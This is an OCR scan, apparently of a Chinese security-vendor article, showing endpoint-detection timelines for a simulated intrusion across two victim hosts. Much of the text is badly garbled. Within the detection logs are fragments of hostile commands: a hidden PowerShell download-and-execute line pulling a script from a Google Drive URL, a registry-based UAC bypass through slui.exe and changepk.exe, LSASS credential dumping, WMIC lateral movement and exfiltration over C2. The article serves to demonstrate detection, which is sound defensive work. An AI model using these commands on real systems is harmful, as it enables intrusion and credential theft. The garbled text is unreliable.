dradmin’y

{+

1-Not Detected

AppData\Roaming\test.tmp”, “true”);

8018-AMSI Activity

DefaultAccount edradmin

speadmin”);

Administrator
Guest

1WshExec StdErr();
[TextStream.Readall]);

|TextStream. Writeline("net user err: *);
[TesxtStream. WriteLine(™);

1WshShell3.Exec...

wscript.exe launched powershell.exe. "C\windows\System32\wscrip|

Atrusted process launched with sus...
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"C:\Windows\System32\wscript.exe” jkhertgbn.js

ZEERFIBER JavaScript I ER LEE C&C [AAkes » WIRWE—TIELLUIFEEZBIRLFNE -

OQutbound: wscript.exe sent 3642 bytes to 52.1.93.201:443 and received 9595 bytes from 172.28.48.7:54066 via HTTPS,TLS.

Jan 17,2023, 12:52:23 PM

“C:\Windows\System32\wscript.exe” jkhertgbn.js
PowerShell -windowstyle hidden -NoProfile -ExecutionPolicy Bypass -Command *
g

le.com/uc?export

Command and Scripting Interpreter: PowerShell

FELE—DBRP > WEEFIXIES » F JavaScript #1177 PowerShell 85 » U T &L HITREN T —PEE ©
PowerShell -windowstyle hidden -NoProfile -ExecutionPolicy By

wscript.exe launched powershell.exe

Jan 17,2023, 12:52:23 PM

IEFE S HBERIEE © SES Complete 3 H ZIFLLE ©

11595 INBJER
2. ZIEL R T EHML M TR
3. PowerShell IE7FEX4ES
4. JavaScript IETE#1T PowerShell

Exploitation for Client Executi.

Command and Scripting Inter

A trusted process launched with suspicious command line activity - Method

Jan 17, 2023, 12:52:25 PM
PowerShell activity: System.Net.WebClient.DownloadsString(https://drive.google.com/uc?ex...

Jan 17, 2023, 12:52:24 PM
Jan 17, 2023, 12:52:24 PM PowerShell executed with suspicious command line activity to download and execute script
Jan 17, 2023, 12:52:24 PM powerShell accessing network via HTTP(s) (actor: PowerShell) (target: HTTP Access). Command and Scripting Inter... + 1 other
Windows Scripting Host (WScript) launching PowerShell (actor: WScript) (target: PowerShell). Command and Scripting Inter... + 1 other
Command and Scripting Inter... + 2 others

Jan 17, 2023, 12:52:27 PM
AL A E 4 /. S N = 3 O = 2\ - 27 2z @gh /= Zn =
ZIETHERER Google Binfghk FEBERIZA o LB EEIREEPIIT > BEEKRE AR o
> Jan 17, 2023, 12:52:27 PM Outbound: powershell.exe sent 421 bytes to 74.125.135.100:443 and received 8112 bytes from...  Application Layer Protocol: Web Protocals + 1 other
> Jan 17,2023, 12:52:28 PM Outbound: powershell.exe sent 609 bytes to 173.194.202.132:443 and received 21903 bytes fro...  Application Layer Protocol: Web Protocals + 1 other
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BERMBIWTHN PowerShell FHIRT —RFI BBV EE) ©

1.9N@E5ERTHY JavaScript » SES Complete ERERIEE#ITHY PowerShell $6< %15 ©

2.1 HKCU:\Software\Classes\Launcher.SystemSettings\shellex\ContextMenuHandlers #2375 RIES ©
3.PowerShell Bt&) Windows #EZ1# T & slui.exe » bAABSTEEERNEE Windows 238 ©

4.Slui.exe BB ERIENS —TEGAHI Windows 23 changepk.exe 552 Windows R T RIE EBENVIREIZ — ©
5.Changepk.exe BE U B B 4 B ARBRENTEE PowerShell o S IE Windows IRIERIEEEES I ©

6.1b7% 8 Windows #RIEThAEZ 174 » R _ LD ER 2 PRIMAIE BRAEE TEPREL © SES Complete RIEAREE A& UAC i
EfFo

BLEREEMHI o SES Complete MEBMIRRHBIRH ENEREAEH > EXBERTERERRANFEBELSER -

> 1 1an17,2023,1252:28PM  PowerShell activity: Command and Scripting Interpreter, Scripting, Indica.. Command and Scripting Interpreter: Powershell + 2 others Clear-Host; $IPath = pwd; $Choise = sNull; $Command = $KTR) _ I

> Jan17,2023,1252:28 PM  powershell activity: Command and Scripting Interpreter, Scripting Command and Scripting Interpreter: PowersSh| ull
mmand = $Nul
$Command = "powershell.exe -windowstyle hidden -exec bypass -C “IEX (New-Object NetWebClient). DownloadString( https://drive.google.com

> 2 Jan 17,2023, 12:52:28 PM powershell.exe created HKEY_USERS\S-1-5-21-3625167640-1369257362-4,

6@ 1an17,2023,12:52:31 PM Suspected UAC bypass via registry entries - Generic Method 23 Abuse Elevation Control Mechanism: Bypass '
Set " -Name "(default)” -Value 'Open’ -Farce -ErrorAction SilentlyContinuel
Nult

> 3 1an17,2023,12:52:31PM  powershell.exe launched slui.exe with elevated integrity level Mew-ltem "HKCU:\Soft

~Force|Out-Null;

> Jan 17,2023, 12:52:32 PM slui.exe launched slui.exe.

> 4 1an17,2023,12:52:32PM  sluj.exe launched changepk.exe

> Jan17,2023,12:5233PM  powershell accessing network via HTTP(s) (actor: Powershell) (target: HT... Command and Scripting Interpreter: PowerShell + 1 other
> Jan17,2023,12:5233PM  PowerShell executed with suspicious command line activity to download ... Command and Scripting Interpreter: PowerShell + 1 other |
> @ 1an17,2023,12:52:33PM A trusted process launched with suspicious command line activity - Meth...  Exploitation for Client Execution |
> 5 1an17,2023,1252:33PM  changepk.exa launched powershell.axe Command and Scripting Interpreter: PowerShell |

WEREWMSREIERR - ERBEHTFTE LSASS 5LIRREPRY/E:S ©

Jan 17,2023, 12:52:53 PM PowerShell loaded cryptography DLLs and accessed Local Security Authority Subsystem Service (LSASS) memory 0S Credential Dumping + 1 other

08 Credential Dumping,0S Credential Dumping: LSASS Memary
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tESh > WBEGHERE « HBLURER ERHEMESRETAERE -

Jan 17, 2023, 12:52:56 PM powershell.exe launched sc.exe System Service Discovery "C:\Windows\system32\sc.exe™ query

Jan 17, 2023, 12:52:57 PM powershell.exe launched net.exe, Network Share Discovery + 1 other "C\Windows\systemn32\net.exe” share

Jan 17, 2023, 12:52:58 PM net.exe launched netl.exe. Metwork Share Discovery + 1 other C:\Windows\system32\net1 share

Jan 17, 2023, 12:52:59 PM powershell.exe launched tasklist.exe. Process Discovery + 2 athers "C:\Windows\system32\tasklist.exe”

Jan 17, 2023, 12:53:03 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\windows\system32\nslookup.exe™ 172.28.48.1
Jan 17, 2023, 12:53:03 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe” 172.28.48.2
Jan 17, 2023, 12:53:03 PM powershell.exe launched nslookup.exe Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe™ 172.28.48.3
Jan 17, 2023, 12:53:03 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe” 172.28.48.4
Jan 17, 2023, 12:53:04 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe* 172.28.48.5
Jan 17, 2023, 12:53:04 PM powershell.exe launched nslookup.exe Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe™ 172.28.48.6
Jan 17, 2023, 12:53:04 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe” 172.28.48.7
Jan 17, 2023, 12:53:04 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe* 172.28.48.8

PRE I /&R B R & T FIREREIEREF -

Jan 17,2023, 12:53:04 PM powershell.exe modified stageddata.txt. "PowerShell.exe” -windowstyle hidden -exec bypass -C "IEX ...  Data Staged

&R IR ER P MRRERAAERINEZIRNVAGZHIT o EVictim-1 (RBERVAREIEKESS) L RMOERE
PowerShellBiBIWMIC.exef2 3, » M Victim-2_ LB iBiHR T ©

Jan 17,2023, 12:53:04 PM  powershell.exe launched wmic.e... Victim-1 "PowerShell.exe” -windowstyle hidden -ex.. “C\Windows\System32\Wbem\WMIC.exe" [failfast:on /node:"Victim-2" process call create “powershell -windowst..

EERFIBEIRBERHARVictim-2

Jan 17,2023, 12:53:04 PM A trusted process launched with suspic..  Victim-2 CSIDL_SYSTEM\wbem\wmiprvs... Exploitation for C... + 1 other Enterprise Execut... + 1 other (1)

Enterprise Execution, Enterprise Defense Evasion Enterprise Lateral Movement

BEBIEEMEMBEEENNRESN @ BRKBINEEERET RS -

> Jan 17,2023, 12:53:04 PM  Outhound: powershell.exe sent 279887 bytes to 34.224.50.110:443 and received 986642 byte... | Efiltration Over C2 Ch... I‘ powershell -windowstyle hidden -nop -exec bypass -c IEX (New-Object Net.Web...

Exfiltration Over C2 Channel

SES Complete HBREMHBENETERNKN » BE—PHFCRBEENSEIRE -
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FERE—HZNHBENRIERR 5 SES Complete REEBUFLERIFSE > FRIES
FWBEHERABALHIRIEAP c ERBHA4EIBRAE » SES Complete B9
SRR U Z IR MITRE ATT&CK BB EH LIRESHES
BB > WIRMHEAEAARZIE o SES Complete SAVEAEEESTH > 7
YRR BRMEERE o

B (EE

- #F]5E (Adam Glick) IREFBE A B EFI#Te ZRFIVAE
E%ﬁ*ﬁig ° 5&_+¢5E s IFER AR MR > B2
BB ERREE TR - TADMRNTKEREER%K > I
FEACZ -I-IE#%?FEEﬁ%%'J o TP EIRPEER AN E O
fit » FALUERIEITHRVERSRE » MR HRNEN T ER
EE—BIUIREPRIR T ~ ‘BB R R ) » URERIKE
175 NEATREIRPIERMENEIERE - HEEERGZEBHEERAE
ERPEELELIEENEE » THRKEEITERGIEBEE ©

RARFEPISETE

BFIHRRERERNRER “W;EE%E&BIJrE FEPIHE5E(Symantec) B, E"ZOla/lu#)\%iMEl@aEsHEE!rrﬁiE(BroadCom » EERHRITAVGO » 2H. E5H99.9%488

RIEA 3R 2 EPPI(SED) » 3 i RFCUR T DA ~ RURESRTENERECRA  MRPIMRNASREEEN « BE1 - Bl
UREREEREAETN / KANRREYD o 18 P BARBREHE « A BB RRAERNRARRAMRRETE » RNOAKRERS
AR © SymantecHHEBIRTEVRATAES BT A RVE LMMRHEFORRAR » TFRSymanteciR /D HIRIEB ARSI E LTRSS » AERIRATH T AN DIEERERMRIEETIG
AfBEZ A - 8 RIBE AL 15 0 73 AR AL o RETR AR (3R B EPIR R ITMIED © (REEAL =S
BATF - EAE5E §(CA Tect REREER NEIRER) M > R ) ° 20215\ A » ARESME BN R AHME - REABE2EERR
BR2EEE(CISANE: ?ﬁﬂ?fﬁﬁl’ﬁﬂﬁAj HERZEMEH S EICDC(Joint Cyber Defense Collaborative) - ii# @B P2 E SIHIBN—4RRR - WHMABCAEE - Symantec BRERE
RIELER o HHERKER PIBREERANES BER RS H ~ B BMEURSDBESRBMARTIR ©

R REER

RR GRS REAEHS HROBRTREFRS - HEAADHBEMERRALRIR - B1995FERRORNNEMISHRENL2MARL RO LE - 5  RAALE BB
IR ~ BRRIARTS > FSRIRIBMERITHEA ledge Transfer) + LRIBAERNE o R REERER HERIER KBRS R IR

P REFETRARCRAUAMNER - RISENRRERRESES -

REES ANHFHARZENSRAREEMOBERIRME - NHER « ENREEH;IU L Symantec RRRA S 2% > FAZE © 2026/3
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